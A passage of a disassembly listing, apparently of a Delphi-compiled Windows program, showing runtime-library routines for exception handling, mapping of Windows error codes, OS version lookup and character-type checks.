		mov	eax, ebx
		call	sub_405160
		mov	[ebp-8], eax
		jmp	short loc_4051E2
; ---------------------------------------------------------------------------


loc_4051D9:				; CODE XREF: CODE:004051B4j
		sub	ebx, [ebp-32Ch]
		mov	[ebp-8], ebx


loc_4051E2:				; CODE XREF: CODE:004051D7j
		lea	eax, [ebp-212h]
		mov	dl, 5Ch
		call	sub_405CC0
		mov	edx, eax
		inc	edx
		lea	eax, [ebp-10Dh]
		mov	ecx, 104h
		call	sub_404080
		mov	ebx, offset dword_4052EC
		mov	edi, offset dword_4052EC
		mov	eax, esi
		mov	edx, off_403514
		call	sub_401B08
		test	al, al
		jz	short loc_40523E
		mov	eax, [esi+4]
		call	sub_4026E0
		mov	ebx, eax
		mov	eax, ebx
		call	sub_404058
		test	eax, eax
		jz	short loc_40523E
		cmp	byte ptr [ebx+eax-1], 2Eh
		jz	short loc_40523E
		mov	edi, offset dword_4052F0


loc_40523E:				; CODE XREF: CODE:0040521Bj
					; CODE:00405230j ...
		push	100h
		lea	eax, [ebp-312h]
		push	eax
		mov	eax, ds:off_4093D8
		mov	eax, [eax+4]
		push	eax
		mov	eax, ds:dword_40A4C8
		call	sub_402AB8
		push	eax
		call	sub_40321C	; LoadStringA
		lea	edx, [ebp-458h]
		mov	eax, [esi]
		call	sub_401A28
		lea	eax, [ebp-458h]
		mov	[ebp-358h], eax
		mov	byte ptr [ebp-354h], 4
		lea	eax, [ebp-10Dh]
		mov	[ebp-350h], eax
		mov	byte ptr [ebp-34Ch], 6
		mov	eax, [ebp-8]
		mov	[ebp-348h], eax
		mov	byte ptr [ebp-344h], 5
		mov	[ebp-340h], ebx
		mov	byte ptr [ebp-33Ch], 6
		mov	[ebp-338h], edi
		mov	byte ptr [ebp-334h], 6
		lea	eax, [ebp-358h]
		push	eax
		push	4
		lea	ecx, [ebp-312h]
		mov	edx, [ebp+8]
		mov	eax, [ebp-4]
		call	sub_4045A4
		mov	eax, [ebp-4]
		call	sub_404058
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4
dword_4052EC	dd 0			; DATA XREF: CODE:00405202o
					; CODE:00405207o
dword_4052F0	dd 2Eh,	0FBBCC481h, 68FFFFh, 8D000004h,	0E848244Ch, 0FFFFFE64h
					; DATA XREF: CODE:00405239o
		dd 409394A1h, 388000h, 0F4A14F74h, 0E8004092h, 0FFFFC214h
		dd 0FFBF6BE8h, 8D006AFFh, 50042444h, 4C24448Dh,	0FFED27E8h
		dd 448D50FFh, 6A505024h, 0DE96E8F5h, 0E850FFFFh, 0FFFFDEC0h
		dd 448D006Ah, 6A500424h, 53A86802h, 0F56A0040h,	0FFDE7BE8h
		dd 0A5E850FFh, 0EBFFFFDEh, 8D406A36h, 50082444h, 4092D8A1h
		dd 4408B00h, 0A4C8A150h, 3DE80040h, 50FFFFD7h, 0FFDE9BE8h
		dd 201068FFh, 448D0000h, 8D500824h, 504C2444h, 8DE8006Ah
		dd 81FFFFDEh, 444C4h, 0C300h, 0FFFFFFFFh, 2, 0A0Dh

; =============== S U B	R O U T	I N E =======================================



sub_4053AC	proc near		; CODE XREF: sub_405564+32p
					; sub_4055E4+38p ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4053BB
		add	esp, 0FFFFFFF0h
		call	sub_401BAC


loc_4053BB:				; CODE XREF: sub_4053AC+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	eax, [edi+4]
		mov	edx, esi
		call	sub_402338
		mov	eax, edi
		test	bl, bl
		jz	short loc_4053E0
		call	sub_401C04
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4053E0:				; CODE XREF: sub_4053AC+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4053AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053E8	proc near		; CODE XREF: sub_405638+77p
					; sub_4057C0+127p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4053FC
		add	esp, 0FFFFFFF0h
		call	sub_401BAC


loc_4053FC:				; CODE XREF: sub_4053E8+Aj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_405442
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, esi
		call	sub_4045E4
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_402338
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405449


loc_405439:				; CODE XREF: sub_4053E8+5Fj
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_405442:				; DATA XREF: sub_4053E8+1Do
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_405439
; ---------------------------------------------------------------------------


loc_405449:				; CODE XREF: sub_4053E8+59j
					; DATA XREF: sub_4053E8+4Co
		mov	eax, edi
		test	bl, bl
		jz	short loc_40545E
		call	sub_401C04
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40545E:				; CODE XREF: sub_4053E8+65j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	8
sub_4053E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_405468	proc near		; CODE XREF: CODE:0040571Dp
					; sub_405A68+Dp ...
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_405477
		add	esp, 0FFFFFFF0h
		call	sub_401BAC


loc_405477:				; CODE XREF: sub_405468+5j
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		lea	edx, [edi+4]
		mov	eax, esi
		call	sub_402F64
		mov	eax, edi
		test	bl, bl
		jz	short loc_40549C
		call	sub_401C04
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40549C:				; CODE XREF: sub_405468+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405468	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054A4	proc near		; CODE XREF: sub_403F08+14p
					; sub_405564+51p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_4054BA
		add	esp, 0FFFFFFF0h
		call	sub_401BAC


loc_4054BA:				; CODE XREF: sub_4054A4+Cj
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_405510
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		push	eax
		lea	edx, [ebp+var_8]
		mov	eax, esi
		call	sub_402F64
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		call	sub_4045E4
		mov	edx, [ebp+var_4]
		lea	eax, [edi+4]
		call	sub_402338
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405517


loc_405502:				; CODE XREF: sub_4054A4+71j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_405510:				; DATA XREF: sub_4054A4+1Fo
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_405502
; ---------------------------------------------------------------------------


loc_405517:				; CODE XREF: sub_4054A4+6Bj
					; DATA XREF: sub_4054A4+59o
		mov	eax, edi
		test	bl, bl
		jz	short loc_40552C
		call	sub_401C04
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40552C:				; CODE XREF: sub_4054A4+77j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_4054A4	endp

; ---------------------------------------------------------------------------
		align 4
		cmp	byte ptr [eax+0Ch], 0
		jz	short locret_405543
		call	sub_401A58

locret_405543:				; CODE XREF: CODE:0040553Cj
		retn
; ---------------------------------------------------------------------------
off_405544	dd offset dword_405548	; DATA XREF: CODE:004066ACr
dword_405548	dd 4554090Eh, 726F7272h, 8636552h, 1000000h, 0 ; DATA XREF: CODE:off_405544o
		dd 4004010h, 90000000h

; =============== S U B	R O U T	I N E =======================================



sub_405564	proc near		; CODE XREF: sub_4055E4:loc_405625p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		xor	ebx, ebx
		call	sub_4012BC
		mov	esi, eax
		jmp	short loc_405575
; ---------------------------------------------------------------------------


loc_405574:				; CODE XREF: sub_405564+1Dj
		inc	ebx


loc_405575:				; CODE XREF: sub_405564+Ej
		cmp	ebx, 6
		jg	short loc_405583
		cmp	esi, ds:dword_40917C[ebx*8]
		jnz	short loc_405574


loc_405583:				; CODE XREF: sub_405564+14j
		cmp	ebx, 6
		jg	short loc_40559D
		mov	ecx, ds:dword_409180[ebx*8]
		mov	dl, 1
		mov	eax, off_403634
		call	sub_4053AC
		jmp	short loc_4055BA
; ---------------------------------------------------------------------------


loc_40559D:				; CODE XREF: sub_405564+22j
		mov	[esp+10h+var_10], esi
		mov	[esp+10h+var_C], 0
		push	esp
		push	0
		mov	ecx, ds:off_4092D4
		mov	dl, 1
		mov	eax, off_403634
		call	sub_4054A4


loc_4055BA:				; CODE XREF: sub_405564+37j
		mov	[eax+0Ch], esi
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_405564	endp

; ---------------------------------------------------------------------------
		align 4
off_4055C4	dd offset dword_4055C8	; DATA XREF: CODE:00406697r
dword_4055C8	dd 45540A0Eh, 70656378h, 63655274h, 8, 1, 401000h, 4
					; DATA XREF: CODE:off_4055C4o

; =============== S U B	R O U T	I N E =======================================



sub_4055E4	proc near		; DATA XREF: sub_405A68+33o
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		dec	dl
		jz	short loc_4055F9
		dec	dl
		jz	short loc_405601
		dec	edx
		sub	dl, 16h
		jb	short loc_405609
		jmp	short loc_405625
; ---------------------------------------------------------------------------


loc_4055F9:				; CODE XREF: sub_4055E4+7j
		mov	edx, ds:dword_40A5F4
		jmp	short loc_40562C
; ---------------------------------------------------------------------------


loc_405601:				; CODE XREF: sub_4055E4+Bj
		mov	edx, ds:dword_40A5F8
		jmp	short loc_40562C
; ---------------------------------------------------------------------------


loc_405609:				; CODE XREF: sub_4055E4+11j
		and	eax, 0FFh
		lea	eax, ds:40919Ch[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4053AC
		mov	edx, eax
		jmp	short loc_40562C
; ---------------------------------------------------------------------------


loc_405625:				; CODE XREF: sub_4055E4+13j
		call	sub_405564
		mov	edx, eax


loc_40562C:				; CODE XREF: sub_4055E4+1Bj
					; sub_4055E4+23j ...
		push	ebx
		mov	eax, edx
		jmp	sub_401FF4
sub_4055E4	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405638	proc near		; CODE XREF: sub_4056F4+3p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4056D4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jz	short loc_40566D
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_40237C
		jmp	short loc_40567A
; ---------------------------------------------------------------------------


loc_40566D:				; CODE XREF: sub_405638+27j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_409388
		call	sub_402F64


loc_40567A:				; CODE XREF: sub_405638+33j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0Bh
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0Bh
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_1C]
		push	eax
		push	2
		lea	edx, [ebp+var_20]
		mov	eax, ds:off_4093A8
		call	sub_402F64
		mov	ecx, [ebp+var_20]
		mov	dl, 1
		mov	eax, off_403D3C
		call	sub_4053E8
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4056DB


loc_4056C3:				; CODE XREF: sub_405638+A1j
		lea	eax, [ebp+var_20]
		call	sub_4022E4
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_4056D4:				; DATA XREF: sub_405638+1Ao
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_4056C3
; ---------------------------------------------------------------------------


loc_4056DB:				; CODE XREF: sub_405638+9Bj
					; DATA XREF: sub_405638+86o
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405638	endp


; =============== S U B	R O U T	I N E =======================================



sub_4056E4	proc near		; CODE XREF: sub_4056F4+11p
		mov	esp, ecx
		mov	[esp+0], edx
		mov	ebp, [ebp+0]
		jmp	sub_401FF4
sub_4056E4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056F4	proc near		; DATA XREF: sub_405A68+67o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		call	sub_405638
		lea	ecx, [ebp+arg_0]
		add	ecx, 4
		mov	edx, [ebp+arg_0]
		call	sub_4056E4
		pop	ebp
		retn	4
sub_4056F4	endp

; ---------------------------------------------------------------------------
		align 10h


loc_405710:				; DATA XREF: sub_405A68+74o
					; BSS:off_40A028o
		mov	ecx, ds:dword_4092EC
		mov	dl, 1
		mov	eax, dword_403D88+14h
		call	sub_405468
		call	sub_401FF4
		retn

; =============== S U B	R O U T	I N E =======================================



sub_405728	proc near		; CODE XREF: sub_4057A8+5p
					; sub_40598C+20p
		mov	eax, [eax]
		cmp	eax, 0C0000092h
		jg	short loc_40575D
		jz	short loc_40578C
		cmp	eax, 0C000008Eh
		jg	short loc_40574F
		jz	short loc_40578F
		sub	eax, 0C0000005h
		jz	short loc_405798
		sub	eax, 87h
		jz	short loc_405786
		dec	eax
		jz	short loc_405795
		jmp	short loc_4057A4
; ---------------------------------------------------------------------------


loc_40574F:				; CODE XREF: sub_405728+10j
		add	eax, 3FFFFF71h
		sub	eax, 2
		jb	short loc_40578C
		jz	short loc_405792
		jmp	short loc_4057A4
; ---------------------------------------------------------------------------


loc_40575D:				; CODE XREF: sub_405728+7j
		cmp	eax, 0C0000096h
		jg	short loc_405775
		jz	short loc_40579B
		sub	eax, 0C0000093h
		jz	short loc_405795
		dec	eax
		jz	short loc_405783
		dec	eax
		jz	short loc_405789
		jmp	short loc_4057A4
; ---------------------------------------------------------------------------


loc_405775:				; CODE XREF: sub_405728+3Aj
		sub	eax, 0C00000FDh
		jz	short loc_4057A1
		sub	eax, 3Dh
		jz	short loc_40579E
		jmp	short loc_4057A4
; ---------------------------------------------------------------------------


loc_405783:				; CODE XREF: sub_405728+46j
		mov	al, 3
		retn
; ---------------------------------------------------------------------------


loc_405786:				; CODE XREF: sub_405728+20j
		mov	al, 4
		retn
; ---------------------------------------------------------------------------


loc_405789:				; CODE XREF: sub_405728+49j
		mov	al, 5
		retn
; ---------------------------------------------------------------------------


loc_40578C:				; CODE XREF: sub_405728+9j
					; sub_405728+2Fj
		mov	al, 6
		retn
; ---------------------------------------------------------------------------


loc_40578F:				; CODE XREF: sub_405728+12j
		mov	al, 7
		retn
; ---------------------------------------------------------------------------


loc_405792:				; CODE XREF: sub_405728+31j
		mov	al, 8
		retn
; ---------------------------------------------------------------------------


loc_405795:				; CODE XREF: sub_405728+23j
					; sub_405728+43j
		mov	al, 9
		retn
; ---------------------------------------------------------------------------


loc_405798:				; CODE XREF: sub_405728+19j
		mov	al, 0Bh
		retn
; ---------------------------------------------------------------------------


loc_40579B:				; CODE XREF: sub_405728+3Cj
		mov	al, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_40579E:				; CODE XREF: sub_405728+57j
		mov	al, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_4057A1:				; CODE XREF: sub_405728+52j
		mov	al, 0Eh
		retn
; ---------------------------------------------------------------------------


loc_4057A4:				; CODE XREF: sub_405728+25j
					; sub_405728+33j ...
		mov	al, 16h
		retn
sub_405728	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4057A8	proc near		; DATA XREF: sub_405A68+56o
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_405728
		and	eax, 0FFh
		mov	eax, ds:dword_40919C[eax*8]
		pop	ebx
		retn
sub_4057A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4057C0	proc near		; CODE XREF: sub_40598C+54p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_160		= byte ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= byte ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= byte ptr -144h
var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_125		= byte ptr -125h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE90h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_170], eax
		mov	[ebp+var_14C], eax
		mov	[ebp+var_154], eax
		mov	[ebp+var_150], eax
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40597B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax-4]
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_405811
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_4093E4
		call	sub_402F64
		jmp	short loc_40581E
; ---------------------------------------------------------------------------


loc_405811:				; CODE XREF: sub_4057C0+40j
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_40937C
		call	sub_402F64


loc_40581E:				; CODE XREF: sub_4057C0+4Fj
		mov	esi, [ebx+18h]
		push	1Ch
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	sub_4031FC	; VirtualQuery
		cmp	[ebp+var_10], 1000h
		jnz	loc_4058F0
		push	105h
		lea	eax, [ebp+var_125]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_4031BC	; GetModuleFileNameA
		test	eax, eax
		jz	loc_4058F0
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_148], eax
		mov	[ebp+var_144], 5
		lea	eax, [ebp+var_150]
		lea	edx, [ebp+var_125]
		mov	ecx, 105h
		call	sub_402530
		mov	eax, [ebp+var_150]
		lea	edx, [ebp+var_14C]
		call	sub_403FAC
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_140], eax
		mov	[ebp+var_13C], 0Bh
		mov	eax, [ebp+var_4]
		mov	[ebp+var_138], eax
		mov	[ebp+var_134], 0Bh
		mov	[ebp+var_130], esi
		mov	[ebp+var_12C], 5
		lea	eax, [ebp+var_148]
		push	eax
		push	3
		lea	edx, [ebp+var_154]
		mov	eax, ds:off_4093A0
		call	sub_402F64
		mov	ecx, [ebp+var_154]
		mov	dl, 1
		mov	eax, off_403B74
		call	sub_4053E8
		mov	ebx, eax
		jmp	short loc_40594A
; ---------------------------------------------------------------------------


loc_4058F0:				; CODE XREF: sub_4057C0+77j
					; sub_4057C0+94j
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_16C], eax
		mov	[ebp+var_168], 5
		mov	eax, [ebp+var_4]
		mov	[ebp+var_164], eax
		mov	[ebp+var_160], 0Bh
		mov	[ebp+var_15C], esi
		mov	[ebp+var_158], 5
		lea	eax, [ebp+var_16C]
		push	eax
		push	2
		lea	edx, [ebp+var_170]
		mov	eax, ds:off_4093B8
		call	sub_402F64
		mov	ecx, [ebp+var_170]
		mov	dl, 1
		mov	eax, off_403B74
		call	sub_4053E8
		mov	ebx, eax


loc_40594A:				; CODE XREF: sub_4057C0+12Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405982


loc_405957:				; CODE XREF: sub_4057C0+1C0j
		lea	eax, [ebp+var_170]
		call	sub_4022E4
		lea	eax, [ebp+var_154]
		mov	edx, 3
		call	sub_402308
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_40597B:				; DATA XREF: sub_4057C0+2Bo
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_405957
; ---------------------------------------------------------------------------


loc_405982:				; CODE XREF: sub_4057C0+1BAj
					; DATA XREF: sub_4057C0+192o
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4057C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40598C	proc near		; DATA XREF: sub_405A68+61o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_405A47
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_405728
		and	eax, 0FFh
		mov	edx, eax
		add	edx, 0FFFFFFFDh
		sub	edx, 8
		jb	short loc_4059C8
		jz	short loc_4059DF
		dec	edx
		sub	edx, 0Ah
		jnb	short loc_4059EA


loc_4059C8:				; CODE XREF: sub_40598C+32j
		lea	eax, ds:40919Ch[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4053AC
		mov	ebx, eax
		jmp	short loc_405A1A
; ---------------------------------------------------------------------------


loc_4059DF:				; CODE XREF: sub_40598C+34j
		push	ebp
		call	sub_4057C0
		pop	ecx
		mov	ebx, eax
		jmp	short loc_405A1A
; ---------------------------------------------------------------------------


loc_4059EA:				; CODE XREF: sub_40598C+3Aj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		lea	edx, [ebp+var_10]
		mov	eax, ds:off_4092AC
		call	sub_402F64
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, off_4036E4
		call	sub_4053E8
		mov	ebx, eax


loc_405A1A:				; CODE XREF: sub_40598C+51j
					; sub_40598C+5Cj
		mov	eax, ebx
		mov	edx, off_40368C
		call	sub_401B08
		test	al, al
		jz	short loc_405A31
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax


loc_405A31:				; CODE XREF: sub_40598C+9Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405A4E


loc_405A3E:				; CODE XREF: sub_40598C+C0j
		lea	eax, [ebp+var_10]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_405A47:				; DATA XREF: sub_40598C+12o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_405A3E
; ---------------------------------------------------------------------------


loc_405A4E:				; CODE XREF: sub_40598C+BAj
					; DATA XREF: sub_40598C+ADo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40598C	endp

; ---------------------------------------------------------------------------
		align 4
dword_405A58	dd 0FFF897E8h, 1B8FFh, 65E80000h, 0C3FFFFC8h ; DATA XREF: sub_405A68+3Eo

; =============== S U B	R O U T	I N E =======================================



sub_405A68	proc near		; CODE XREF: CODE:loc_406822p
		mov	ecx, ds:off_4092DC
		mov	dl, 1
		mov	eax, off_4035D8
		call	sub_405468
		mov	ds:dword_40A5F4, eax
		mov	ecx, ds:off_409364
		mov	dl, 1
		mov	eax, off_403A60
		call	sub_405468
		mov	ds:dword_40A5F8, eax
		mov	eax, ds:off_4092B4
		mov	dword ptr [eax], offset	sub_4055E4
		mov	eax, ds:off_409308
		mov	dword ptr [eax], offset	dword_405A58
		mov	eax, ds:off_4092D0
		mov	edx, off_403514
		mov	[eax], edx
		mov	eax, ds:off_409300
		mov	dword ptr [eax], offset	sub_4057A8
		mov	eax, ds:off_40930C
		mov	dword ptr [eax], offset	sub_40598C
		mov	eax, offset sub_4056F4
		mov	edx, ds:off_409374
		mov	[edx], eax
		mov	eax, offset loc_405710
		mov	edx, ds:off_4092A8
		mov	[edx], eax
		retn
sub_405A68	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405AEC	proc near		; CODE XREF: CODE:00406688p
		mov	eax, ds:dword_40A5F4
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_40A5F4
		mov	edx, [eax]
		call	dword ptr [edx-8]
		xor	eax, eax
		mov	ds:dword_40A5F4, eax
		mov	eax, ds:dword_40A5F8
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_40A5F8
		call	sub_401A84
		xor	eax, eax
		mov	ds:dword_40A5F8, eax
		mov	eax, ds:off_4092B4
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_409308
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_4092D0
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_409300
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_40930C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, ds:off_409374
		xor	edx, edx
		mov	[eax], edx
		retn
sub_405AEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405B58	proc near		; CODE XREF: CODE:00406827p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h

		add	esp, 0FFFFFF6Ch
		mov	[esp+94h+var_94], 94h
		push	esp
		call	sub_4031EC	; GetVersionExA
		test	eax, eax
		jz	short loc_405BA6
		mov	eax, [esp+94h+var_84]
		mov	ds:dword_409088, eax
		mov	eax, [esp+94h+var_90]
		mov	ds:dword_40908C, eax
		mov	eax, [esp+94h+var_8C]
		mov	ds:dword_409090, eax
		mov	eax, [esp+94h+var_88]
		mov	ds:dword_409094, eax
		mov	eax, offset dword_409098
		lea	edx, [esp+94h+var_80]
		mov	ecx, 80h
		call	sub_402530


loc_405BA6:				; CODE XREF: sub_405B58+15j
		add	esp, 94h
		retn
sub_405B58	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405BB0	proc near		; CODE XREF: sub_405C28+1Bp
					; sub_405C4C+Bp
		push	esi
		push	edi
		mov	edi, edx
		xor	edx, edx
		test	eax, eax
		jz	short loc_405C20
		cmp	byte ptr [eax+edi], 0
		jz	short loc_405C20
		test	edi, edi
		jnz	short loc_405BD8
		mov	al, [eax]
		and	eax, 0FFh
		bt	ds:dword_40909C, eax
		jnb	short loc_405C20
		mov	dl, 1
		jmp	short loc_405C20
; ---------------------------------------------------------------------------


loc_405BD8:				; CODE XREF: sub_405BB0+12j
		mov	esi, edi
		dec	esi
		jmp	short loc_405BDE
; ---------------------------------------------------------------------------


loc_405BDD:				; CODE XREF: sub_405BB0+42j
		dec	esi


loc_405BDE:				; CODE XREF: sub_405BB0+2Bj
		test	esi, esi
		jl	short loc_405BF4
		mov	cl, [eax+esi]
		and	ecx, 0FFh
		bt	ds:dword_40909C, ecx
		jb	short loc_405BDD


loc_405BF4:				; CODE XREF: sub_405BB0+30j
		mov	ecx, edi
		sub	ecx, esi
		and	ecx, 80000001h
		jns	short loc_405C05
		dec	ecx
		or	ecx, 0FFFFFFFEh
		inc	ecx


loc_405C05:				; CODE XREF: sub_405BB0+4Ej
		test	ecx, ecx
		jnz	short loc_405C0D
		mov	dl, 2
		jmp	short loc_405C20
; ---------------------------------------------------------------------------


loc_405C0D:				; CODE XREF: sub_405BB0+57j
		mov	al, [eax+edi]
		and	eax, 0FFh
		bt	ds:dword_40909C, eax
		jnb	short loc_405C20
		mov	dl, 1


loc_405C20:				; CODE XREF: sub_405BB0+8j
